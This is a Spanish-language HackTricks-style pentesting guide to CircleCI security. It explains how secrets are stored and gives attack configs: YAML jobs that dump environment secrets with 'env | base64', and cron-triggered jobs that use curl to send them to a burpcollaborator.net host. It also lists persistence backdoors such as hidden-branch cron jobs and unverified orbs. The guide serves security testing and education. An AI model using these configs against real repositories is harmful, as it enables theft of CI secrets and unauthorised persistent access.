# Seguridad de CircleCI {{#include ../banners/hacktricks-training.md}} ### Información Básica [**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) es una plataforma de Integración Continua donde puedes **definir plantillas** indicando lo que quieres que haga con algún código y cuándo hacerlo. De esta manera, puedes **automatizar pruebas** o **despliegues** directamente **desde la rama maestra de tu repositorio**, por ejemplo. ### Permisos **CircleCI** **hereda los permisos** de github y bitbucket relacionados con la **cuenta** que inicia sesión.\ En mis pruebas verifiqué que mientras tengas **permisos de escritura sobre el repositorio en github**, podrás **gestionar la configuración del proyecto en CircleCI** (configurar nuevas claves ssh, obtener claves api del proyecto, crear nuevas ramas con nuevas configuraciones de CircleCI...). Sin embargo, necesitas ser un **administrador del repositorio** para **convertir el repositorio en un proyecto de CircleCI**. ### Variables de Entorno y Secretos Según [**la documentación**](https://circleci.com/docs/2.0/env-vars/) hay diferentes maneras de **cargar valores en variables de entorno** dentro de un flujo de trabajo. #### Variables de entorno integradas Cada contenedor ejecutado por CircleCI siempre tendrá [**variables de entorno específicas definidas en la documentación**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) como `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` o `CIRCLE_USERNAME`. #### Texto claro Puedes declararlas en texto claro dentro de un **comando**: ```yaml - run: name: "set and echo" command: | SECRET="A secret" echo $SECRET ``` Puedes declararlos en texto claro dentro del **entorno de ejecución**: ```yaml - run: name: "set and echo" command: echo $SECRET environment: SECRET: A secret ``` Puedes declararlos en texto claro dentro del **entorno del trabajo de construcción**: ```yaml jobs: build-job: docker: - image: cimg/base:2020.01 environment: SECRET: A secret ``` Puedes declararlos en texto claro dentro del **entorno de un contenedor**: ```yaml jobs: build-job: docker: - image: cimg/base:2020.01 environment: SECRET: A secret ``` #### Secretos del Proyecto Estos son **secretos** que solo van a ser **accesibles** por el **proyecto** (por **cualquier rama**).\ Puedes verlos **declarados en** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ ![](<../images/image (129).png>) > [!CAUTION] > La funcionalidad de "**Importar Variables**" permite **importar variables de otros proyectos** a este. #### Secretos de Contexto Estos son secretos que son **a nivel de organización**. Por **defecto, cualquier repo** podrá **acceder a cualquier secreto** almacenado aquí: ![](<../images/image (123).png>) > [!TIP] > Sin embargo, ten en cuenta que se puede **seleccionar un grupo diferente** (en lugar de Todos los miembros) para **dar acceso a los secretos solo a personas específicas**.\ > Esta es actualmente una de las mejores maneras de **aumentar la seguridad de los secretos**, para no permitir que todos accedan a ellos, sino solo algunas personas. ### Ataques #### Buscar Secretos en Texto Claro Si tienes **acceso al VCS** (como github), revisa el archivo `.circleci/config.yml` de **cada repo en cada rama** y **busca** posibles **secretos en texto claro** almacenados allí. #### Enumeración de Variables de Entorno Secretas y Contexto Revisando el código puedes encontrar **todos los nombres de los secretos** que están siendo **utilizados** en cada archivo `.circleci/config.yml`. También puedes obtener los **nombres de contexto** de esos archivos o revisarlos en la consola web: _https://app.circleci.com/settings/organization/github/\/contexts_. #### Exfiltrar Secretos del Proyecto > [!WARNING] > Para **exfiltrar TODOS** los **SECRETOS** del proyecto y del contexto, **solo** necesitas tener acceso de **ESCRITURA** a **solo 1 repo** en toda la organización de github (_y tu cuenta debe tener acceso a los contextos, pero por defecto todos pueden acceder a cada contexto_). > [!CAUTION] > La funcionalidad de "**Importar Variables**" permite **importar variables de otros proyectos** a este. Por lo tanto, un atacante podría **importar todas las variables del proyecto de todos los repos** y luego **exfiltrar todas juntas**. Todos los secretos del proyecto siempre se establecen en el entorno de los trabajos, por lo que solo llamar a env y ofuscarlo en base64 exfiltrará los secretos en la **consola de registro web de los flujos de trabajo**: ```yaml version: 2.1 jobs: exfil-env: docker: - image: cimg/base:stable steps: - checkout - run: name: "Exfil env" command: "env | base64" workflows: exfil-env-workflow: jobs: - exfil-env ``` Si **no tienes acceso a la consola web** pero tienes **acceso al repositorio** y sabes que se utiliza CircleCI, puedes **crear un flujo de trabajo** que se **dispare cada minuto** y que **exfiltre los secretos a una dirección externa**: ```yaml version: 2.1 jobs: exfil-env: docker: - image: cimg/base:stable steps: - checkout - run: name: "Exfil env" command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: exfil-env-workflow: triggers: - schedule: cron: "* * * * *" filters: branches: only: - circleci-project-setup jobs: - exfil-env ``` #### Exfiltrar secretos de contexto Necesitas **especificar el nombre del contexto** (esto también exfiltrará los secretos del proyecto): ```yaml version: 2.1 jobs: exfil-env: docker: - image: cimg/base:stable steps: - checkout - run: name: "Exfil env" command: "env | base64" workflows: exfil-env-workflow: jobs: - exfil-env: context: Test-Context ``` Si **no tienes acceso a la consola web** pero tienes **acceso al repositorio** y sabes que se utiliza CircleCI, puedes simplemente **modificar un flujo de trabajo** que se **activa cada minuto** y que **exfiltra los secretos a una dirección externa**: ```yaml version: 2.1 jobs: exfil-env: docker: - image: cimg/base:stable steps: - checkout - run: name: "Exfil env" command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: exfil-env-workflow: triggers: - schedule: cron: "* * * * *" filters: branches: only: - circleci-project-setup jobs: - exfil-env: context: Test-Context ``` > [!WARNING] > Simplemente crear un nuevo `.circleci/config.yml` en un repositorio **no es suficiente para activar una construcción de circleci**. Necesitas **habilitarlo como un proyecto en la consola de circleci**. #### Escape to Cloud **CircleCI** te da la opción de ejecutar **tus construcciones en sus máquinas o en las tuyas**.\ Por defecto, sus máquinas están ubicadas en GCP, y al principio no podrás encontrar nada relevante. Sin embargo, si una víctima está ejecutando las tareas en **sus propias máquinas (potencialmente, en un entorno en la nube)**, podrías encontrar un **punto final de metadatos en la nube con información interesante**. Ten en cuenta que en los ejemplos anteriores se lanzó todo dentro de un contenedor de docker, pero también puedes **pedir que se lance una máquina VM** (que puede tener diferentes permisos en la nube): ```yaml jobs: exfil-env: #docker: # - image: cimg/base:stable machine: image: ubuntu-2004:current ``` O incluso un contenedor de docker con acceso a un servicio de docker remoto: ```yaml jobs: exfil-env: docker: - image: cimg/base:stable steps: - checkout - setup_remote_docker: version: 19.03.13 ``` #### Persistencia - Es posible **crear** **tokens de usuario en CircleCI** para acceder a los endpoints de la API con el acceso de los usuarios. - _https://app.circleci.com/settings/user/tokens_ - Es posible **crear tokens de proyectos** para acceder al proyecto con los permisos otorgados al token. - _https://app.circleci.com/settings/project/github/\/\/api_ - Es posible **agregar claves SSH** a los proyectos. - _https://app.circleci.com/settings/project/github/\/\/ssh_ - Es posible **crear un trabajo cron en una rama oculta** en un proyecto inesperado que está **filtrando** todas las variables de **contexto env** todos los días. - O incluso crear en una rama / modificar un trabajo conocido que **filtrará** todo el contexto y los **secretos de los proyectos** todos los días. - Si eres un propietario de github, puedes **permitir orbs no verificados** y configurar uno en un trabajo como **puerta trasera**. - Puedes encontrar una **vulnerabilidad de inyección de comandos** en alguna tarea e **inyectar comandos** a través de un **secreto** modificando su valor. {{#include ../banners/hacktricks-training.md}}